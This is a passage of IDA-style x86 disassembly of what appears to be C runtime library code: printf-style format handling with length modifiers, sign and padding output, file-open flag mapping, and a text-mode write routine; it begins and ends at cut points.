loc_409FB7:				; CODE XREF: sub_409CF0+2ADj
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		xor	ebx, ebx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_409FCE:				; CODE XREF: sub_409CF0+2C5j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_409FDA:				; CODE XREF: sub_409CF0+2A4j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_409FE6:				; CODE XREF: sub_409CF0+283j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 68h
		jnz	short loc_40A015
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		movzx	edx, dx
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_40A058
; ---------------------------------------------------------------------------


loc_40A015:				; CODE XREF: sub_409CF0+308j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 62h
		jnz	short loc_40A039
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		movzx	edx, dl
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_40A058
; ---------------------------------------------------------------------------


loc_40A039:				; CODE XREF: sub_409CF0+32Cj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+3Ah]
		cmp	al, 74h
		jz	short loc_40A047
		cmp	al, 7Ah
		jnz	short loc_40A058


loc_40A047:				; CODE XREF: sub_409CF0+351j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		xor	ebx, ebx
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_40A058:				; CODE XREF: sub_409CF0+323j
					; sub_409CF0+347j ...
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jz	short loc_40A0A3
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jnz	short loc_40A070
		test	eax, eax
		jz	short loc_40A0A3


loc_40A070:				; CODE XREF: sub_409CF0+37Aj
		mov	al, [ebp+arg_8]
		cmp	al, 78h
		jz	short loc_40A07B
		cmp	al, 58h
		jnz	short loc_40A0A3


loc_40A07B:				; CODE XREF: sub_409CF0+385j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 30h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	cl, [ebp+arg_8]
		mov	[eax+edx], cl


loc_40A0A3:				; CODE XREF: sub_409CF0+371j
					; sub_409CF0+37Ej ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B0C0
		add	esp, 8
		jmp	loc_40A422
; ---------------------------------------------------------------------------


loc_40A0C7:				; DATA XREF: DMN0:0040FD84o
					; DMN0:0040FD94o ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 4Ch
		jnz	short loc_40A0E2
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		fld	qword ptr [ecx-8]
		fstp	[ebp+var_20]
		jmp	short loc_40A0F2
; ---------------------------------------------------------------------------


loc_40A0E2:				; CODE XREF: sub_409CF0+3DEj
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		fld	qword ptr [ecx-8]
		fstp	[ebp+var_20]


loc_40A0F2:				; CODE XREF: sub_409CF0+3F0j
		fld	[ebp+var_20]
		fstp	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B300
		pop	ecx
		cmp	ax, 2
		jz	short loc_40A165
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+6], 8000h
		jz	short loc_40A127
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Dh
		jmp	short loc_40A165
; ---------------------------------------------------------------------------


loc_40A127:				; CODE XREF: sub_409CF0+420j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 2
		jz	short loc_40A147
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Bh
		jmp	short loc_40A165
; ---------------------------------------------------------------------------


loc_40A147:				; CODE XREF: sub_409CF0+440j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 1
		jz	short loc_40A165
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 20h


loc_40A165:				; CODE XREF: sub_409CF0+415j
					; sub_409CF0+435j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B310
		add	esp, 8
		jmp	loc_40A422
; ---------------------------------------------------------------------------


loc_40A189:				; DATA XREF: DMN0:0040FDD4o
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+3Ah]
		mov	[ebp+var_24], eax
		cmp	eax, 68h
		jz	loc_40A272
		cmp	eax, 6Ah
		jz	short loc_40A21A
		cmp	eax, 6Ch
		jz	loc_40A28D
		jg	short loc_40A1B7
		cmp	[ebp+var_24], 62h
		jz	short loc_40A1DC
		jmp	loc_40A2A7
; ---------------------------------------------------------------------------


loc_40A1B7:				; CODE XREF: sub_409CF0+4BAj
		mov	eax, [ebp+var_24]
		cmp	eax, 71h
		jz	short loc_40A1F6
		cmp	eax, 74h
		jz	short loc_40A23E
		cmp	eax, 71h
		jl	loc_40A2A7
		cmp	[ebp+var_24], 7Ah
		jz	loc_40A258
		jmp	loc_40A2A7
; ---------------------------------------------------------------------------


loc_40A1DC:				; CODE XREF: sub_409CF0+4C0j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], al
		jmp	loc_40A422
; ---------------------------------------------------------------------------


loc_40A1F6:				; CODE XREF: sub_409CF0+4CDj
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+30h]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	loc_40A422
; ---------------------------------------------------------------------------


loc_40A21A:				; CODE XREF: sub_409CF0+4AFj
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+30h]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	loc_40A422
; ---------------------------------------------------------------------------


loc_40A23E:				; CODE XREF: sub_409CF0+4D2j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_40A422
; ---------------------------------------------------------------------------


loc_40A258:				; CODE XREF: sub_409CF0+4E1j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_40A422
; ---------------------------------------------------------------------------


loc_40A272:				; CODE XREF: sub_409CF0+4A6j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], ax
		jmp	loc_40A422
; ---------------------------------------------------------------------------


loc_40A28D:				; CODE XREF: sub_409CF0+4B4j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_40A422
; ---------------------------------------------------------------------------


loc_40A2A7:				; CODE XREF: sub_409CF0+4C2j
					; sub_409CF0+4D7j ...
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_40A422
; ---------------------------------------------------------------------------


loc_40A2C1:				; DATA XREF: DMN0:0040FDDCo
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [edx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		xor	ebx, ebx
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+34h], 8
		mov	eax, [ebp+arg_0]
		or	word ptr [eax+38h], 10h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		push	78h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B0C0
		add	esp, 8
		jmp	loc_40A422
; ---------------------------------------------------------------------------


loc_40A31F:				; DATA XREF: DMN0:0040FDE8o
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jz	loc_40A3BF
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[ebp+var_2C], edx
		mov	[eax], edx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_2C]
		mov	eax, [eax-4]
		mov	[edx+10h], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_40A358
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+10h], offset dword_40FE00


loc_40A358:				; CODE XREF: sub_409CF0+65Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_38], eax
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_40A379
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+10h]
		or	eax, 0FFFFFFFFh


loc_40A36D:				; CODE XREF: sub_409CF0+682j
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_40A36D
		mov	[ebp+var_30], eax
		jmp	short loc_40A3B4
; ---------------------------------------------------------------------------


loc_40A379:				; CODE XREF: sub_409CF0+672j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		push	edx
		push	0
		mov	eax, [eax+10h]
		push	eax
		call	sub_409060
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		test	eax, eax
		jz	short loc_40A3A5
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+10h]
		sub	eax, edx
		mov	[ebp+var_34], eax
		jmp	short loc_40A3AE
; ---------------------------------------------------------------------------


loc_40A3A5:				; CODE XREF: sub_409CF0+6A3j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+var_34], eax


loc_40A3AE:				; CODE XREF: sub_409CF0+6B3j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_30], eax


loc_40A3B4:				; CODE XREF: sub_409CF0+687j
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+1Ch], eax
		jmp	short loc_40A422
; ---------------------------------------------------------------------------


loc_40A3BF:				; CODE XREF: sub_409CF0+636j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40AF70
		add	esp, 8
		test	eax, eax
		jge	short loc_40A422
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A424
; ---------------------------------------------------------------------------


loc_40A3E2:				; CODE XREF: sub_409CF0+23j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 25h
		jmp	short loc_40A422
; ---------------------------------------------------------------------------


loc_40A3F7:				; CODE XREF: sub_409CF0+29j
					; sub_409CF0+3Aj ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A412
		movzx	eax, [ebp+arg_8]
		mov	[ebp+var_28], eax
		jmp	short loc_40A419
; ---------------------------------------------------------------------------


loc_40A412:				; CODE XREF: sub_409CF0+717j
		mov	[ebp+var_28], 25h


loc_40A419:				; CODE XREF: sub_409CF0+720j
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_28]
		mov	[eax+edx], cl


loc_40A422:				; CODE XREF: sub_409CF0+84j
					; sub_409CF0+BDj ...
		xor	eax, eax


loc_40A424:				; CODE XREF: sub_409CF0+C6j
					; sub_409CF0+6F0j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409CF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A430	proc near		; CODE XREF: sub_4088A0+25Ap
					; sub_40AF70+D7p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+34h]
		sub	eax, [ebx+14h]
		sub	eax, [ebx+18h]
		sub	eax, [ebx+1Ch]
		sub	eax, [ebx+20h]
		sub	eax, [ebx+24h]
		sub	eax, [ebx+28h]
		mov	[ebp+var_4], eax
		test	word ptr [ebx+38h], 4
		jnz	short loc_40A4AF
		cmp	[ebp+var_4], 0
		jle	short loc_40A4AF
		mov	esi, [ebp+var_4]
		jmp	short loc_40A4AB
; ---------------------------------------------------------------------------


loc_40A467:				; CODE XREF: sub_40A430+7Dj
		cmp	esi, 20h
		jbe	short loc_40A475
		mov	[ebp+var_8], 20h
		jmp	short loc_40A47A
; ---------------------------------------------------------------------------


loc_40A475:				; CODE XREF: sub_40A430+3Aj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_40A47A:				; CODE XREF: sub_40A430+43j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_40A4A9
		push	edi
		push	offset asc_40FE08 ; "				     "
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A4A1
		add	[ebx+30h], edi
		jmp	short loc_40A4A9
; ---------------------------------------------------------------------------


loc_40A4A1:				; CODE XREF: sub_40A430+6Aj
		or	eax, 0FFFFFFFFh
		jmp	loc_40A697
; ---------------------------------------------------------------------------


loc_40A4A9:				; CODE XREF: sub_40A430+51j
					; sub_40A430+6Fj
		sub	esi, edi


loc_40A4AB:				; CODE XREF: sub_40A430+35j
		test	esi, esi
		jg	short loc_40A467


loc_40A4AF:				; CODE XREF: sub_40A430+2Aj
					; sub_40A430+30j
		cmp	dword ptr [ebx+14h], 0
		jle	short loc_40A4E0
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A4D8
		mov	eax, [ebx+14h]
		add	[ebx+30h], eax
		jmp	short loc_40A4E0
; ---------------------------------------------------------------------------


loc_40A4D8:				; CODE XREF: sub_40A430+9Ej
		or	eax, 0FFFFFFFFh
		jmp	loc_40A697
; ---------------------------------------------------------------------------


loc_40A4E0:				; CODE XREF: sub_40A430+83j
					; sub_40A430+A6j
		cmp	dword ptr [ebx+18h], 0
		jle	short loc_40A533
		mov	esi, [ebx+18h]
		jmp	short loc_40A52F
; ---------------------------------------------------------------------------


loc_40A4EB:				; CODE XREF: sub_40A430+101j
		cmp	esi, 20h
		jbe	short loc_40A4F9
		mov	[ebp+var_8], 20h
		jmp	short loc_40A4FE
; ---------------------------------------------------------------------------


loc_40A4F9:				; CODE XREF: sub_40A430+BEj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_40A4FE:				; CODE XREF: sub_40A430+C7j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_40A52D
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A525
		add	[ebx+30h], edi
		jmp	short loc_40A52D
; ---------------------------------------------------------------------------


loc_40A525:				; CODE XREF: sub_40A430+EEj
		or	eax, 0FFFFFFFFh
		jmp	loc_40A697
; ---------------------------------------------------------------------------


loc_40A52D:				; CODE XREF: sub_40A430+D5j
					; sub_40A430+F3j
		sub	esi, edi


loc_40A52F:				; CODE XREF: sub_40A430+B9j
		test	esi, esi
		jg	short loc_40A4EB


loc_40A533:				; CODE XREF: sub_40A430+B4j
		cmp	dword ptr [ebx+1Ch], 0
		jle	short loc_40A564
		mov	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A55C
		mov	eax, [ebx+1Ch]
		add	[ebx+30h], eax
		jmp	short loc_40A564
; ---------------------------------------------------------------------------


loc_40A55C:				; CODE XREF: sub_40A430+122j
		or	eax, 0FFFFFFFFh
		jmp	loc_40A697
; ---------------------------------------------------------------------------


loc_40A564:				; CODE XREF: sub_40A430+107j
					; sub_40A430+12Aj
		cmp	dword ptr [ebx+20h], 0
		jle	short loc_40A5B7
		mov	esi, [ebx+20h]
		jmp	short loc_40A5B3
; ---------------------------------------------------------------------------


loc_40A56F:				; CODE XREF: sub_40A430+185j
		cmp	esi, 20h
		jbe	short loc_40A57D
		mov	[ebp+var_8], 20h
		jmp	short loc_40A582
; ---------------------------------------------------------------------------


loc_40A57D:				; CODE XREF: sub_40A430+142j
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_40A582:				; CODE XREF: sub_40A430+14Bj
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_40A5B1
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A5A9
		add	[ebx+30h], edi
		jmp	short loc_40A5B1
; ---------------------------------------------------------------------------


loc_40A5A9:				; CODE XREF: sub_40A430+172j
		or	eax, 0FFFFFFFFh
		jmp	loc_40A697
; ---------------------------------------------------------------------------


loc_40A5B1:				; CODE XREF: sub_40A430+159j
					; sub_40A430+177j
		sub	esi, edi


loc_40A5B3:				; CODE XREF: sub_40A430+13Dj
		test	esi, esi
		jg	short loc_40A56F


loc_40A5B7:				; CODE XREF: sub_40A430+138j
		cmp	dword ptr [ebx+24h], 0
		jle	short loc_40A5ED
		mov	eax, [ebx+24h]
		push	eax
		mov	eax, [ebx+1Ch]
		mov	edx, [ebx+10h]
		add	eax, edx
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A5E5
		mov	eax, [ebx+24h]
		add	[ebx+30h], eax
		jmp	short loc_40A5ED
; ---------------------------------------------------------------------------


loc_40A5E5:				; CODE XREF: sub_40A430+1ABj
		or	eax, 0FFFFFFFFh
		jmp	loc_40A697
; ---------------------------------------------------------------------------


loc_40A5ED:				; CODE XREF: sub_40A430+18Bj
					; sub_40A430+1B3j
		cmp	dword ptr [ebx+28h], 0
		jle	short loc_40A63D
		mov	esi, [ebx+28h]
		jmp	short loc_40A639
; ---------------------------------------------------------------------------


loc_40A5F8:				; CODE XREF: sub_40A430+20Bj
		cmp	esi, 20h
		jbe	short loc_40A606
		mov	[ebp+var_8], 20h
		jmp	short loc_40A60B
; ---------------------------------------------------------------------------


loc_40A606:				; CODE XREF: sub_40A430+1CBj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_40A60B:				; CODE XREF: sub_40A430+1D4j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_40A637
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A632
		add	[ebx+30h], edi
		jmp	short loc_40A637
; ---------------------------------------------------------------------------


loc_40A632:				; CODE XREF: sub_40A430+1FBj
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A697
; ---------------------------------------------------------------------------


loc_40A637:				; CODE XREF: sub_40A430+1E2j
					; sub_40A430+200j
		sub	esi, edi


loc_40A639:				; CODE XREF: sub_40A430+1C6j
		test	esi, esi
		jg	short loc_40A5F8


loc_40A63D:				; CODE XREF: sub_40A430+1C1j
		test	word ptr [ebx+38h], 4
		jz	short loc_40A695
		cmp	[ebp+var_4], 0
		jle	short loc_40A695
		mov	esi, [ebp+var_4]
		jmp	short loc_40A691
; ---------------------------------------------------------------------------


loc_40A650:				; CODE XREF: sub_40A430+263j
		cmp	esi, 20h
		jbe	short loc_40A65E
		mov	[ebp+var_8], 20h
		jmp	short loc_40A663
; ---------------------------------------------------------------------------


loc_40A65E:				; CODE XREF: sub_40A430+223j
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_40A663:				; CODE XREF: sub_40A430+22Cj
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_40A68F
		push	edi
		push	offset asc_40FE08 ; "				     "
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A68A
		add	[ebx+30h], edi
		jmp	short loc_40A68F
; ---------------------------------------------------------------------------


loc_40A68A:				; CODE XREF: sub_40A430+253j
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A697
; ---------------------------------------------------------------------------


loc_40A68F:				; CODE XREF: sub_40A430+23Aj
					; sub_40A430+258j
		sub	esi, edi


loc_40A691:				; CODE XREF: sub_40A430+21Ej
		test	esi, esi
		jg	short loc_40A650


loc_40A695:				; CODE XREF: sub_40A430+213j
					; sub_40A430+219j
		xor	eax, eax


loc_40A697:				; CODE XREF: sub_40A430+74j
					; sub_40A430+ABj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40A430	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6A0	proc near		; CODE XREF: sub_408BE0+101p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		and	eax, 3
		mov	esi, dword_40FE4C[eax*4]
		test	ebx, 4
		jz	short loc_40A6BF
		or	esi, 8


loc_40A6BF:				; CODE XREF: sub_40A6A0+1Aj
		test	ebx, 8
		jz	short loc_40A6CD
		or	esi, 200h


loc_40A6CD:				; CODE XREF: sub_40A6A0+25j
		test	ebx, 10h
		jz	short loc_40A6DB
		or	esi, 100h


loc_40A6DB:				; CODE XREF: sub_40A6A0+33j
		test	ebx, 20h
		jz	short loc_40A6EB
		or	esi, 8000h
		jmp	short loc_40A6F1
; ---------------------------------------------------------------------------


loc_40A6EB:				; CODE XREF: sub_40A6A0+41j
		or	esi, 4000h


loc_40A6F1:				; CODE XREF: sub_40A6A0+49j
		push	180h
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B970
		add	esp, 0Ch
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40A6A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40A710	proc near		; CODE XREF: sub_408D30+Dp
		push	6
		call	sub_40BD80
		pop	ecx
		push	1
		call	sub_407AA0
		pop	ecx
		retn
sub_40A710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A730	proc near		; CODE XREF: sub_40A920+4Bp
					; sub_40CD10+ADp

var_411		= byte ptr -411h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_8], 0
		jnz	short loc_40A757
		xor	eax, eax
		jmp	loc_40A919
; ---------------------------------------------------------------------------


loc_40A757:				; CODE XREF: sub_40A730+1Ej
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		test	byte ptr [eax+edx+4], 20h
		jz	short loc_40A783
		push	2
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40BEB0
		add	esp, 0Ch


loc_40A783:				; CODE XREF: sub_40A730+41j
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		test	byte ptr [eax+edx+4], 80h
		jz	loc_40A864
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_10], 0
		jmp	loc_40A850
; ---------------------------------------------------------------------------


loc_40A7B2:				; CODE XREF: sub_40A730+12Cj
		lea	edi, [ebp+var_411]
		jmp	short loc_40A7D2
; ---------------------------------------------------------------------------


loc_40A7BA:				; CODE XREF: sub_40A730+C0j
		mov	eax, esi
		inc	esi
		mov	bl, [eax]
		cmp	bl, 0Ah
		jnz	short loc_40A7CD
		inc	[ebp+var_4]
		mov	eax, edi
		inc	edi
		mov	byte ptr [eax],	0Dh


loc_40A7CD:				; CODE XREF: sub_40A730+92j
		mov	eax, edi
		inc	edi
		mov	[eax], bl


loc_40A7D2:				; CODE XREF: sub_40A730+88j
		lea	eax, [ebp+var_411]
		mov	edx, edi
		sub	edx, eax
		cmp	edx, 400h
		jge	short loc_40A7F2
		mov	eax, [ebp+arg_4]
		mov	edx, esi
		sub	edx, eax
		mov	eax, edx
		cmp	eax, [ebp+arg_8]
		jb	short loc_40A7BA


loc_40A7F2:				; CODE XREF: sub_40A730+B2j
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_411]
		mov	edx, edi
		sub	edx, eax
		mov	eax, edx
		push	eax
		lea	eax, [ebp+var_411]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		mov	eax, [eax+edx]
		push	eax
		call	dword_411E08
		test	eax, eax
		jz	short loc_40A845
		mov	eax, [ebp+var_8]
		add	[ebp+var_C], eax
		lea	edx, [ebp+var_411]
		mov	ecx, edi
		sub	ecx, edx
		cmp	eax, ecx
		jge	short loc_40A850
		jmp	short loc_40A8AD
; ---------------------------------------------------------------------------


loc_40A845:				; CODE XREF: sub_40A730+FDj
		call	dword_411CE8
		mov	[ebp+var_10], eax
		jmp	short loc_40A8AD
; ---------------------------------------------------------------------------


loc_40A850:				; CODE XREF: sub_40A730+7Dj
